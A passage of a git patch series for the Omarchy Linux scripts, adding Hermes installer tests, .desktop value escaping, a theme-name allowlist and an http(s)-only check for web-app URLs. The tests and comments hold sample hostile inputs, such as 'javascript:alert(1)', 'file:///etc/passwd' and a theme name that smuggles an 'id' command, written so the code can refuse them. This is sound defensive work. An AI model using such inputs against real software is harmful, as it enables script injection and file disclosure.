stage, several stages before the command. +rm -rf "$test_home/.hermes" +rm -f "$test_home/.local/bin/hermes" +run_installer 1 --check && fail "--check reports Hermes missing before the app installs it" +mkdir -p "$test_home/.hermes/hermes-agent/venv/bin" +printf '%s\n' "#!/bin/bash" >"$test_home/.hermes/hermes-agent/venv/bin/hermes" +chmod +x "$test_home/.hermes/hermes-agent/venv/bin/hermes" +run_installer 1 --check && fail "--check waits for the install to finish, not just the venv" +touch "$test_home/.hermes/hermes-agent/.hermes-bootstrap-complete" +printf '%s\n' "#!/bin/bash" "exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 1 --check || fail "--check reports Hermes present once the app has finished" +pass "--check follows the app's completed install" + +# An executable called hermes that belongs to something else is not this +# install being ready. +printf '%s\n' "#!/bin/bash" "exec /usr/local/bin/somebody-elses-hermes \"\$@\"" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 1 --check && fail "--check rejects a hermes command belonging to something else" +pass "--check rejects a foreign hermes command" diff --git a/test/shell.d/hermes-remove-test.sh b/test/shell.d/hermes-remove-test.sh new file mode 100755 index 00000000..423a297e --- /dev/null +++ b/test/shell.d/hermes-remove-test.sh @@ -0,0 +1,77 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +test_home="$test_tmp/home" +mkdir -p "$mock_bin" + +cat >"$mock_bin/omarchy-pkg-drop" <<'SH' +#!/bin/bash +printf '%s\0' "$@" >>"$OMARCHY_TEST_DROP_LOG" +SH +chmod +x "$mock_bin"/* + +seed_install() { + rm -rf "$test_home" + mkdir -p "$test_home/.hermes/hermes-agent" "$test_home/.hermes/bootstrap-cache" \ + "$test_home/.hermes/bin" "$test_home/.hermes/node/bin" \ + "$test_home/.hermes/memories" "$test_home/.hermes/sessions" \ + "$test_home/.config/Hermes" "$test_home/.local/bin" + printf 'chat\n' >"$test_home/.hermes/sessions/one.json" + printf 'memory\n' >"$test_home/.hermes/memories/one.md" + printf 'soul\n' >"$test_home/.hermes/SOUL.md" + printf 'uv\n' >"$test_home/.hermes/bin/uv" + ln -sf "$test_home/.hermes/node/bin/node" "$test_home/.local/bin/node" + ln -sf "$test_home/.hermes/node/bin/npm" "$test_home/.local/bin/npm" + ln -sf /usr/bin/npx "$test_home/.local/bin/npx" + printf 'node\n' >"$test_home/.hermes/node/bin/node" +} + +remove() { + OMARCHY_TEST_DROP_LOG="$test_tmp/drop-log" HOME="$test_home" PATH="$mock_bin:$PATH" \ + bash "$ROOT/bin/omarchy-remove-ai-hermes" >/dev/null 2>&1 +} + +# The app brings its own uv and its own node; both are runtime, not data. +seed_install +printf '%s\n' "#!/bin/bash" "exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" \ + >"$test_home/.local/bin/hermes" +remove || fail "remove succeeds" +[[ ! -d $test_home/.hermes/hermes-agent ]] || fail "the runtime checkout is removed" +[[ ! -d $test_home/.hermes/bin ]] || fail "the uv the app installed is removed" +[[ ! -d $test_home/.hermes/node ]] || fail "the node the app installed is removed" +pass "removal takes the whole runtime the app installed" + +[[ -d $test_home/.config/Hermes ]] || + fail "gateway connections, tokens and settings survive removal" +pass "removal keeps the app's connections and settings" + +# -L, not -e: a dangling symlink fails -e while very much still being there. +[[ ! -L $test_home/.local/bin/node ]] || fail "a node symlink into ~/.hermes is removed" +[[ ! -L $test_home/.local/bin/npm ]] || fail "an npm symlink into ~/.hermes is removed" +[[ -L $test_home/.local/bin/npx ]] || fail "an npx symlink pointing elsewhere survives" +pass "removal clears only the managed Node links it stranded" + +[[ -f $test_home/.hermes/sessions/one.json ]] || fail "chats survive removal" +[[ -f $test_home/.hermes/memories/one.md ]] || fail "memories survive removal" +[[ -f $test_home/.hermes/SOUL.md ]] || fail "SOUL.md survives removal" +pass "removal keeps what belongs to the user" + +[[ ! -e $test_home/.local/bin/hermes ]] || fail "the app's own hermes command is removed" +pass "removal takes the command the app installed" + +# Installed but never launched: the app never wrote these, so they are somebody +# else's and must survive. +seed_install +printf '%s\n' "#!/bin/bash" "exec /usr/local/bin/my-own-hermes \"\$@\"" \ + >"$test_home/.local/bin/hermes" +remove || fail "remove succeeds with a foreign hermes present" +[[ -f $test_home/.local/bin/hermes ]] || + fail "a hermes command the app did not write survives removal" +pass "removal leaves a hermes it does not own" diff --git a/test/shell.d/menu-test.sh b/test/shell.d/menu-test.sh index b3394678..eb5b3122 100644 --- a/test/shell.d/menu-test.sh +++ b/test/shell.d/menu-test.sh @@ -224,6 +224,7 @@ const expectedAgents = { claude: { icon: '󰛄', label: 'Claude' }, codex: { icon: '\ue905', iconFont: 'omarchy', label: 'Codex' }, grok: { icon: '\ue904', iconFont: 'omarchy', label: 'Grok' }, + hermes: { icon: '\ue90a', iconFont: 'omarchy', label: 'Hermes' }, copilot: { icon: '', label: 'Copilot' }, crush: { icon: '󰋑', label: 'Crush' }, } @@ -244,7 +245,7 @@ assertDeepEqual( defaultItems .filter(item => item.parent === 'setup.default.agent') .map(item => item.label), - ['Antigravity', 'Claude', 'Codex', 'Copilot', 'Crush', 'Grok', 'omp', 'OpenCode', 'Ori', 'Pi'], + ['Antigravity', 'Claude', 'Codex', 'Copilot', 'Crush', 'Grok', 'Hermes', 'omp', 'OpenCode', 'Ori', 'Pi'], 'menu sorts coding agents alphabetically' ) const expectedDefaults = { @@ -636,5 +637,5 @@ assert( JS font_charset=$(fc-query --format='%{charset}' "$ROOT/default/fonts/omarchy/omarchy.ttf") -[[ $font_charset == *"e900-e909"* ]] || fail "Omarchy icon font includes every custom menu glyph" +[[ $font_charset == *"e900-e90a"* ]] || fail "Omarchy icon font includes every custom menu glyph" pass "Omarchy icon font includes the official agent marks" From 187c268d68b8ff1a0599236fb989d0f3e0446348 Mon Sep 17 00:00:00 2001 From: bastidotnet <233381911+bastidotnet@users.noreply.github.com> Date: Wed, 26 Aug 2026 23:55:47 +0200 Subject: [PATCH 074/336] Escape webapp .desktop values per freedesktop spec MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - omarchy-webapp-install wrote all substituted values raw into the generated .desktop (Name/Comment/Icon/MimeType/Exec), with no escaping. - Adds two spec-level escapers: Desktop Entry string escaping on every field (a raw newline could inject a second key line / second Exec=), and Exec-argument quoting for the default Exec's URL (spaces, %, reserved chars). $CUSTOM_EXEC stays file-syntax-only — it is a full command line by design, not a single value. - No known exploit path: untrusted input reaches these values today only via Omarchy literals, interactive gum, or direct CLI. This is defense-in-depth for a latent sink. - Verified end-to-end: generated .desktop has one escaped key per field; gio launch passes the URL to omarchy-launch-webapp as a single unchanged argument (Sunshine literal and normal gum path both byte-identical). --- bin/omarchy-webapp-install | 44 ++++++++++++++++++++++++++++++++------ 1 file changed, 37 insertions(+), 7 deletions(-) diff --git a/bin/omarchy-webapp-install b/bin/omarchy-webapp-install index acfdf858..e4f0039d 100755 --- a/bin/omarchy-webapp-install +++ b/bin/omarchy-webapp-install @@ -65,6 +65,26 @@ fetch_site_icon() { download_icon "https://www.google.com/s2/favicons?domain=${site_url}&sz=256" "$dest" } +desktop_string_escape() { + # Desktop Entry "string" value (freedesktop Desktop Entry Spec, "Value types"): + # a raw newline would start a new key line and let a value inject a second + # Exec=. Escape backslash first, then tab/CR/LF and a leading space. Every value + # written into the .desktop file passes through here. + printf '%s' "$1" \ + | sed -e ':a;N;$!ba' \ + -e 's/\\/\\\\/g' -e 's/\t/\\t/g' -e 's/\r/\\r/g' -e 's/\n/\\n/g' -e 's/^ /\\s/' +} + +desktop_exec_arg() { + # One Exec argument, double-quoted per the freedesktop Exec spec: inside quotes + # " ` $ \ take a backslash and a literal % becomes %%. Only the default Exec's + # URL needs this; $CUSTOM_EXEC stays a whole command line (file-syntax only). + local escaped + escaped=$(printf '%s' "$1" \ + | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g' -e 's/`/\\`/g' -e 's/\$/\\$/g' -e 's/%/%%/g') + printf '"%s"' "$escaped" +} + if (( $# < 3 )); then echo -e "\e[32mLet's create a new web app you can start with the app launcher.\n\e[0m" APP_NAME=$(gum input --prompt "Name> " --placeholder "My favorite web app") @@ -128,28 +148,38 @@ else ICON_VALUE=$(icon_name_from_ref "$ICON_REF") fi -# Use custom exec if provided, otherwise default behavior -EXEC_COMMAND="${CUSTOM_EXEC:-omarchy-launch-webapp $APP_URL}" +# Default Exec quotes the URL as one Exec-spec argument; the whole line then gets +# the file-syntax escaping below (unescaped first at read time per spec, so the +# layers compose). $CUSTOM_EXEC is a full command line, so it gets file-syntax only. +if [[ -n $CUSTOM_EXEC ]]; then + EXEC_COMMAND=$CUSTOM_EXEC +else + EXEC_COMMAND="omarchy-launch-webapp $(desktop_exec_arg "$APP_URL")" +fi # Create application .desktop file DESKTOP_FILE="$HOME/.local/share/applications/$APP_NAME.desktop" mkdir -p "$(dirname "$DESKTOP_FILE")" +name_field=$(desktop_string_escape "$APP_NAME") +exec_field=$(desktop_string_escape "$EXEC_COMMAND") +icon_field=$(desktop_string_escape "$ICON_VALUE") + cat >"$DESKTOP_FILE" <>"$DESKTOP_FILE" + printf 'MimeType=%s\n' "$(desktop_string_escape "$MIME_TYPES")" >>"$DESKTOP_FILE" fi chmod +x "$DESKTOP_FILE" From 3b0e89902993b129c6c97dfd45446894331b6c77 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Wed, 26 Aug 2026 23:37:44 +0100 Subject: [PATCH 075/336] Let a theme name hold a plus or lead with an underscore, and document the set The name a theme installs under is derived from its repo URL, and holding it to an allowlist made that allowlist a naming convention nobody had written down. It was also tighter than the harm it exists to stop: `+` is not shell syntax and a leading `_` is neither the `..` climb nor the dash basename reads as an option, so `omarchy-c++-theme` was refused for nothing. Widen the set to those two and say what it is where a theme author is already picking a name. The leading character stays out of `.` and `-`, which is the part that does the work. Reported-by: Luis Alvarez (lalvarezt) Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01Fd3RCHxwjEbMXoSYB9Aiso --- bin/omarchy-theme-install | 2 +- manual/43-making-your-own-theme.md | 2 ++ test/shell.d/theme-install-guards-test.sh | 15 +++++++++++++++ 3 files changed, 18 insertions(+), 1 deletion(-) diff --git a/bin/omarchy-theme-install b/bin/omarchy-theme-install index fb5acdc2..6b442678 100755 --- a/bin/omarchy-theme-install +++ b/bin/omarchy-theme-install @@ -37,7 +37,7 @@ THEME_PATH="$THEMES_DIR/$THEME_NAME" # ~/.config/omarchy with it, and one called `a';'id` would carry its own # command into that picker. The leading character is kept out of `.` and `-`, # which also covers `host:-s/foo.git` leaving basename with `.git`. -if [[ ! $THEME_NAME =~ ^[a-z0-9][a-z0-9._-]*$ ]]; then +if [[ ! $THEME_NAME =~ ^[a-z0-9_][a-z0-9._+-]*$ ]]; then echo "Error: '$REPO_URL' does not give a usable theme name." exit 1 fi diff --git a/manual/43-making-your-own-theme.md b/manual/43-making-your-own-theme.md index ed6aee82..c6818a4b 100644 --- a/manual/43-making-your-own-theme.md +++ b/manual/43-making-your-own-theme.md @@ -38,6 +38,8 @@ There's a fully commented `alacritty.toml.tpl.sample` in that folder to copy fro If you want to distribute your theme so others can use it, you need to put it on a public git server, like GitHub. Then people can install it using _Install > Style > Theme_ in the Omarchy menu using that URL. It's recommended that you follow the naming convention of `omarchy-[themename]-theme`, as the theme will show correctly as just `[themename]` in the theme selection menu after installation. +That leftover `[themename]` becomes the theme's directory name, so it has to be one Omarchy can hand around safely: it must start with a letter, a digit, or an underscore, and the rest may hold letters, digits, `.`, `_`, `+`, and `-`. Capitals are lowercased for you, but anything else — a space, a quote, a non-English character — is refused at install time rather than turned into a directory name. So `omarchy-tokyo-night-theme`, `omarchy-flexoki_light-theme`, and `omarchy-c++-theme` all install fine. + Remember that once it's installed from a repo, any `.lua`, terminal config or `vscode.json` it ships is dropped, so don't build the theme around those. You can have your theme added to [the extra themes page](https://omarchy.org/themes/) by sending a pull request to [the omarchy-site repo](https://github.com/omacom-io/omarchy-site). diff --git a/test/shell.d/theme-install-guards-test.sh b/test/shell.d/theme-install-guards-test.sh index 43cf1f3e..2b29bba8 100755 --- a/test/shell.d/theme-install-guards-test.sh +++ b/test/shell.d/theme-install-guards-test.sh @@ -120,6 +120,21 @@ grep -Fq "/themes/tokyo_night.2" "$git_calls" || pass "a theme name may still hold an underscore, a dot, and a dash" +# A plus is neither path-climb nor shell syntax, and a leading underscore is +# neither the `..` climb nor the dash that reads as an option, so the allowlist +# keeps both rather than stranding a repo that names itself with them. +install_theme "https://github.com/example/omarchy-c++-theme.git" || + fail "omarchy-theme-install accepts a name holding a plus" +grep -Fq "/themes/c++" "$git_calls" || + fail "omarchy-theme-install derives a name carrying a plus" "$(cat "$git_calls")" + +install_theme "https://github.com/example/_private.git" || + fail "omarchy-theme-install accepts a name starting with an underscore" +grep -Fq "/themes/_private" "$git_calls" || + fail "omarchy-theme-install derives a name starting with an underscore" "$(cat "$git_calls")" + +pass "a plus and a leading underscore are still usable theme names" + # basename reads a leading dash as an option once the scp-style prefix is gone. install_theme "host:-s/foo.git" || fail "omarchy-theme-install accepts a normal scp-style URL" grep -Fq -- "-- host:-s/foo.git" "$git_calls" || fail "omarchy-theme-install passes the URL after --" "$(cat "$git_calls")" From 877f1e96ef1af8d821a00047c3b38328eefb3b0a Mon Sep 17 00:00:00 2001 From: Taksh Date: Thu, 27 Aug 2026 07:17:44 +0530 Subject: [PATCH 076/336] Keep web app launchers on http(s) Chromium --app= will run javascript:, file:, and data: URLs. Prefix schemeless input with https as before, then refuse anything else. --- bin/omarchy-webapp-install | 32 +++++++++++---- test/shell.d/webapp-install-test.sh | 60 +++++++++++++++++++++++++++++ 2 files changed, 85 insertions(+), 7 deletions(-) create mode 100644 test/shell.d/webapp-install-test.sh diff --git a/bin/omarchy-webapp-install b/bin/omarchy-webapp-install index acfdf858..308f8841 100755 --- a/bin/omarchy-webapp-install +++ b/bin/omarchy-webapp-install @@ -42,6 +42,27 @@ download_icon() { [[ -s $2 && $(file -b --mime-type "$2") == image/* ]] } +# Chromium --app= treats javascript:, file:, and data: as a document to +# run. Prefix schemeless input with https as before, then refuse anything +# that is not http(s). Desktop-file value escaping is a separate concern +# (see open work on the freedesktop string/Exec rules). +normalize_webapp_url() { + local url=$1 + if [[ ! $url =~ ^[a-zA-Z][a-zA-Z0-9+.-]*: ]]; then + url="https://$url" + fi + printf '%s' "$url" +} + +require_http_url() { + local url=$1 + if [[ $url =~ ^https?:// ]]; then + return 0 + fi + echo "Error: web app URL must be http or https." >&2 + exit 1 +} + fetch_site_icon() { local site_url="$1" dest="$2" local origin page icon_url @@ -69,9 +90,7 @@ if (( $# < 3 )); then echo -e "\e[32mLet's create a new web app you can start with the app launcher.\n\e[0m" APP_NAME=$(gum input --prompt "Name> " --placeholder "My favorite web app") APP_URL=$(gum input --prompt "URL> " --placeholder "https://example.com") - if [[ ! $APP_URL =~ ^[a-zA-Z][a-zA-Z0-9+.-]*: ]]; then - APP_URL="https://$APP_URL" - fi + APP_URL=$(normalize_webapp_url "$APP_URL") # Try to fetch the site's icon automatically first. mkdir -p "$ICON_DIR" @@ -88,10 +107,7 @@ if (( $# < 3 )); then INTERACTIVE_MODE=true else APP_NAME="$1" - APP_URL="$2" - if [[ ! $APP_URL =~ ^[a-zA-Z][a-zA-Z0-9+.-]*: ]]; then - APP_URL="https://$APP_URL" - fi + APP_URL=$(normalize_webapp_url "$2") ICON_REF="$3" CUSTOM_EXEC="$4" # Optional custom exec command MIME_TYPES="$5" # Optional mime types @@ -104,6 +120,8 @@ if [[ -z $APP_NAME || -z $APP_URL ]]; then exit 1 fi +require_http_url "$APP_URL" + if [[ -z $ICON_REF ]]; then ICON_VALUE=$(safe_icon_name "$APP_NAME") mkdir -p "$ICON_DIR" diff --git a/test/shell.d/webapp-install-test.sh b/test/shell.d/webapp-install-test.sh new file mode 100644 index 00000000..f436a2d3 --- /dev/null +++ b/test/shell.d/webapp-install-test.sh @@ -0,0 +1,60 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +tmpdir=$(mktemp -d) +trap 'rm -rf "$tmpdir"' EXIT + +home="$tmpdir/home" +mkdir -p "$home/.local/share/applications" + +install_webapp() { + HOME="$home" "$ROOT/bin/omarchy-webapp-install" "$@" +} + +desktop_for() { + printf '%s' "$home/.local/share/applications/$1.desktop" +} + +if install_webapp "Example" "https://example.com" "webapp" >"$tmpdir/out" 2>"$tmpdir/err"; then + : +else + fail "webapp install accepts an https URL" "$(cat "$tmpdir/err")" +fi + +desktop=$(desktop_for Example) +[[ -f $desktop ]] || fail "webapp install writes a desktop file" +grep -Fxq 'Name=Example' "$desktop" || fail "webapp install writes the app name" +grep -Fxq 'Exec=omarchy-launch-webapp https://example.com' "$desktop" || + fail "webapp install launches the https URL" "$(cat "$desktop")" +pass "webapp install writes an https desktop entry" + +if install_webapp "Plain" "example.org/app" "webapp" >"$tmpdir/out" 2>"$tmpdir/err"; then + : +else + fail "webapp install prefixes a schemeless URL with https" "$(cat "$tmpdir/err")" +fi +grep -Fxq 'Exec=omarchy-launch-webapp https://example.org/app' "$(desktop_for Plain)" || + fail "webapp install stores the prefixed https URL" "$(cat "$(desktop_for Plain)")" +pass "webapp install prefixes a schemeless URL with https" + +if install_webapp "Local" "https://localhost:47990" "webapp" "omarchy-launch-webapp https://localhost:47990 --ignore-certificate-errors" >"$tmpdir/out" 2>"$tmpdir/err"; then + : +else + fail "webapp install keeps a custom https exec" "$(cat "$tmpdir/err")" +fi +grep -Fxq 'Exec=omarchy-launch-webapp https://localhost:47990 --ignore-certificate-errors' "$(desktop_for Local)" || + fail "webapp install writes the custom exec" "$(cat "$(desktop_for Local)")" +pass "webapp install keeps a custom https exec" + +for url in "javascript:alert(1)" "file:///etc/passwd" "data:text/html,hi" "ftp://example.com" "ext://x"; do + if install_webapp "Bad" "$url" "webapp" >"$tmpdir/out" 2>"$tmpdir/err"; then + fail "webapp install refuses '$url'" + fi + grep -Fq 'must be http or https' "$tmpdir/err" || + fail "webapp install names the scheme refusal for '$url'" "$(cat "$tmpdir/err")" + [[ ! -e $(desktop_for Bad) ]] || fail "webapp install does not write a desktop file for '$url'" +done +pass "webapp install refuses non-http(s) URLs" From d56c1ba972b6a9b82c37aa3b5c33955ea2d3e41a Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Thu, 27 Aug 2026 01:09:45 -0500 Subject: [PATCH 077/336] Harden Hermes wrapper ownership --- bin/omarchy-install-hermes-cli | 46 +++++++++- bin/omarchy-remove-preinstalls | 9 +- migrations/1787760281.sh | 20 +++++ test/shell.d/hermes-cli-migration-test.sh | 103 ++++++++++++++++++++++ test/shell.d/hermes-cli-test.sh | 86 +++++++++++++++++- test/shell.d/preinstalls-test.sh | 40 +++++++++ 6 files changed, 295 insertions(+), 9 deletions(-) create mode 100644 migrations/1787760281.sh create mode 100755 test/shell.d/hermes-cli-migration-test.sh diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index c153013b..7922e386 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -30,6 +30,10 @@ mode=${1:-} tool='pipx:hermes-agent[extras=all]' python='3.13' +# The line that identifies the stub as this installer's; matched whole, so a +# wrapper that merely mentions the command is not mistaken for ours. +marker='# Written by omarchy-install-hermes-cli.' + # The package, not the runtime directory: it is installed before the app has # ever run, and that is exactly when we must not start building a second copy. desktop_owns_hermes() { @@ -55,12 +59,38 @@ installed() { [[ -d "$(mise where "$tool" 2>/dev/null)/hermes-agent/lib/python$python" ]] } +# The stub is the only thing this installer owns. Anything else at that path +# -- Hermes' official installer, a hand-rolled wrapper, even a dangling link +# -- was put there by the user and is never deleted or overwritten here. +# Symlinks count as foreign even when they resolve to a marked file: the stub +# is written as a regular file, so a link is someone else's arrangement. +ours() { + [[ -f $HOME/.local/bin/hermes && ! -L $HOME/.local/bin/hermes ]] && + grep -qxF "$marker" "$HOME/.local/bin/hermes" +} + +foreign_hermes() { + [[ -e $HOME/.local/bin/hermes || -L $HOME/.local/bin/hermes ]] && ! ours +} + +# A foreign path is usable when it is a command: a regular file that runs. +# A directory passes -x on search permission alone, and is no more a command +# than a dangling link is. +foreign_hermes_runs() { + [[ -f $HOME/.local/bin/hermes && -x $HOME/.local/bin/hermes ]] +} + # --check lets callers tell a cold stub from a working one before they commit # to a path that assumes Hermes is ready. if [[ $mode == "--check" ]]; then if desktop_owns_hermes; then if desktop_hermes_ready; then exit 0; else exit 1; fi fi + # A foreign command is ready when it runs; a broken one is not, and since it + # is not ours to replace, nothing this installer does will make it ready. + if foreign_hermes; then + if foreign_hermes_runs; then exit 0; else exit 1; fi + fi if installed; then exit 0; else exit 1; fi fi @@ -79,7 +109,7 @@ if desktop_owns_hermes; then # Our own stub has to go with it. Left in place it still answers `hermes` # until the app's bootstrap overwrites it, and answering means building the # second Hermes this whole arrangement exists to avoid. - if [[ -f $HOME/.local/bin/hermes ]] && grep -q omarchy-install-hermes-cli "$HOME/.local/bin/hermes"; then + if ours; then rm -f "$HOME/.local/bin/hermes" fi @@ -92,13 +122,25 @@ if desktop_owns_hermes; then exit 1 fi +# The user already has a hermes of their own. Leave it be: a working one is +# what the default agent will run, and a broken one is theirs to fix. +if foreign_hermes; then + if foreign_hermes_runs; then + exit 0 + fi + + echo "~/.local/bin/hermes exists but is not runnable, and it was not installed by Omarchy." >&2 + echo "Fix or remove it, then run omarchy-install-hermes-cli again." >&2 + exit 1 +fi + mkdir -p "$HOME/.local/bin" rm -f "$HOME/.local/bin/hermes" cat >"$HOME/.local/bin/hermes" <"$mock_bin/omarchy-pkg-present" <<'SH' +#!/bin/bash +[[ ${OMARCHY_TEST_DESKTOP_INSTALLED:-0} == 1 ]] +SH + +cat >"$mock_bin/omarchy-cmd-missing" <<'SH' +#!/bin/bash +! command -v "$1" >/dev/null 2>&1 +SH + +cat >"$mock_bin/mise" <<'SH' +#!/bin/bash +[[ $1 != "where" ]] +SH + +chmod +x "$mock_bin"/* + +# The real installer is on PATH so the migration writes today's stub, not a +# copy of it. +run_migration() { + OMARCHY_TEST_DESKTOP_INSTALLED="${1:-0}" \ + HOME="$test_home" \ + PATH="$mock_bin:$ROOT/bin:$PATH" \ + bash -euo pipefail "$migration" >/dev/null 2>&1 +} + +run_migration || fail "the migration installs the wrapper on a plain install" +[[ -x $hermes ]] && grep -qxF "$marker" "$hermes" || fail "the migration writes the Omarchy wrapper" +pass "the migration installs the Hermes wrapper" + +before=$(cat "$hermes") +run_migration || fail "rerunning the migration succeeds" +[[ $(cat "$hermes") == "$before" ]] || fail "rerunning the migration leaves the same wrapper" +pass "the migration is idempotent" + +chmod -x "$hermes" +run_migration || fail "the migration repairs a non-executable Omarchy wrapper" +[[ -x $hermes ]] && grep -qxF "$marker" "$hermes" || + fail "the migration restores a non-executable Omarchy wrapper" +pass "the migration repairs a non-executable Omarchy wrapper" + +rm -f "$hermes" +touch "$test_home/.local/state/omarchy/preinstalls-removed" +run_migration || fail "the migration succeeds for users who removed the preinstalls" +[[ ! -e $hermes ]] || fail "the migration respects the preinstalls opt-out" +pass "the migration skips users who removed the preinstalls" +rm -f "$test_home/.local/state/omarchy/preinstalls-removed" + +run_migration 1 || fail "the migration succeeds when Hermes Desktop owns Hermes" +[[ ! -e $hermes ]] || fail "the migration writes nothing when Hermes Desktop owns Hermes" +pass "the migration stands aside for Hermes Desktop" + +official_body="#!/bin/bash +unset PYTHONPATH +unset PYTHONHOME +exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" +printf '%s\n' "$official_body" >"$hermes" +chmod +x "$hermes" +run_migration || fail "the migration succeeds over a foreign hermes command" +[[ $(cat "$hermes") == "$official_body" ]] || fail "the migration leaves a foreign hermes command alone" +pass "the migration preserves a foreign hermes command" + +chmod -x "$hermes" +run_migration || fail "the migration succeeds over a non-executable foreign hermes" +[[ -f $hermes && ! -x $hermes && $(cat "$hermes") == "$official_body" ]] || + fail "the migration leaves a non-executable foreign hermes alone" +pass "the migration preserves a non-executable foreign hermes" + +rm -f "$hermes" +ln -s "$test_home/nowhere/hermes" "$hermes" +run_migration || fail "the migration succeeds over a dangling hermes link" +[[ -L $hermes && $(readlink "$hermes") == "$test_home/nowhere/hermes" ]] || + fail "the migration leaves a dangling hermes link alone" +pass "the migration preserves a dangling hermes link" + +rm -f "$hermes" +mkdir "$hermes" +run_migration || fail "the migration succeeds over a directory at the hermes path" +[[ -d $hermes ]] || fail "the migration leaves a directory at the hermes path alone" +pass "the migration preserves a directory at the hermes path" + +rmdir "$hermes" +printf '%s\n' "#!/bin/bash" "# Replaces the stub omarchy-install-hermes-cli used to write." >"$hermes" +chmod +x "$hermes" +run_migration || fail "the migration succeeds over a wrapper that mentions the installer" +grep -qxF "$marker" "$hermes" && fail "the migration does not rewrite a wrapper that merely mentions the installer" +pass "the migration preserves a wrapper that merely mentions the installer" diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 881dac47..d73e621f 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -41,7 +41,7 @@ run_installer() { bash "$ROOT/bin/omarchy-install-hermes-cli" ${2:+"$2"} >/dev/null 2>&1 } -stub_marker="omarchy-install-hermes-cli" +stub_marker="# Written by omarchy-install-hermes-cli." app_stub_body='#!/bin/bash exec /home/x/.hermes/hermes-agent/venv/bin/hermes "$@"' @@ -51,14 +51,14 @@ exec /home/x/.hermes/hermes-agent/venv/bin/hermes "$@"' rm -f "$test_home/.local/bin/hermes" run_installer 0 || fail "installer failed with no desktop installed" [[ -x $test_home/.local/bin/hermes ]] || fail "installer writes a hermes stub when the desktop is absent" -grep -q "$stub_marker" "$test_home/.local/bin/hermes" || fail "the stub records which command wrote it" +grep -qxF "$stub_marker" "$test_home/.local/bin/hermes" || fail "the stub records which command wrote it" tr '\0' ' ' <"$mise_log" | grep -q "use -g --quiet uv" && fail "writing the stub does not install uv" pass "writing the Hermes stub provisions nothing" # The desktop app owns Hermes, so our own stub must go rather than sit there # answering `hermes` until the app's bootstrap replaces it. -printf '%s\n' "#!/bin/bash" "# $stub_marker" >"$test_home/.local/bin/hermes" +printf '%s\n' "#!/bin/bash" "$stub_marker" >"$test_home/.local/bin/hermes" chmod +x "$test_home/.local/bin/hermes" run_installer 1 || true [[ ! -e $test_home/.local/bin/hermes ]] || @@ -74,7 +74,7 @@ run_installer 1 || true pass "the app's own hermes command is left alone" # A copy mise cannot vouch for is still a second Hermes. -printf '%s\n' "#!/bin/bash" "# $stub_marker" >"$test_home/.local/bin/hermes" +printf '%s\n' "#!/bin/bash" "$stub_marker" >"$test_home/.local/bin/hermes" chmod +x "$test_home/.local/bin/hermes" : >"$mise_log" OMARCHY_TEST_MISE_WHERE_OK=1 run_installer 1 || true @@ -103,3 +103,81 @@ printf '%s\n' "#!/bin/bash" "exec /usr/local/bin/somebody-elses-hermes \"\$@\"" chmod +x "$test_home/.local/bin/hermes" run_installer 1 --check && fail "--check rejects a hermes command belonging to something else" pass "--check rejects a foreign hermes command" + +# A hermes the user installed themselves -- the official installer, a wrapper of +# their own -- is not ours to replace. --check follows whether it runs, and +# installing steps aside so the default agent uses it. +official_body="#!/bin/bash +unset PYTHONPATH +unset PYTHONHOME +exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" +printf '%s\n' "$official_body" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 0 --check || fail "--check accepts a working foreign hermes command" +run_installer 0 || fail "installing over a foreign hermes command returns success" +run_installer 0 --now || fail "--now over a foreign hermes command returns success" +[[ $(cat "$test_home/.local/bin/hermes") == "$official_body" ]] || + fail "a foreign hermes command is left untouched" +pass "a foreign hermes command is preserved and satisfies --check" + +# Broken foreign paths are still foreign. They cannot be used, so --check says +# so and the installer refuses rather than replacing them. +printf '%s\n' "$official_body" >"$test_home/.local/bin/hermes" +chmod -x "$test_home/.local/bin/hermes" +run_installer 0 --check && fail "--check rejects a non-executable foreign hermes" +run_installer 0 && fail "the installer does not succeed over a non-executable foreign hermes" +[[ -f $test_home/.local/bin/hermes && ! -x $test_home/.local/bin/hermes ]] || + fail "a non-executable foreign hermes is left untouched" +pass "a non-executable foreign hermes is preserved" + +foreign_target="$test_home/foreign/hermes" +mkdir -p "$(dirname "$foreign_target")" +printf '%s\n' "$official_body" >"$foreign_target" +chmod +x "$foreign_target" +rm -f "$test_home/.local/bin/hermes" +ln -s "$foreign_target" "$test_home/.local/bin/hermes" +run_installer 0 --check || fail "--check accepts a foreign link to a working hermes command" +run_installer 0 || fail "the installer succeeds over a foreign link to a working hermes command" +run_installer 0 --now || fail "--now succeeds over a foreign link to a working hermes command" +[[ -L $test_home/.local/bin/hermes && $(readlink "$test_home/.local/bin/hermes") == "$foreign_target" ]] || + fail "a foreign link to a working hermes command is left untouched" +pass "a foreign link to a working hermes command is preserved" + +rm -f "$test_home/.local/bin/hermes" +ln -s "$test_home/nowhere/hermes" "$test_home/.local/bin/hermes" +run_installer 0 --check && fail "--check rejects a dangling hermes link" +run_installer 0 && fail "the installer does not succeed over a dangling hermes link" +[[ -L $test_home/.local/bin/hermes && $(readlink "$test_home/.local/bin/hermes") == "$test_home/nowhere/hermes" ]] || + fail "a dangling hermes link is left untouched" +pass "a dangling hermes link 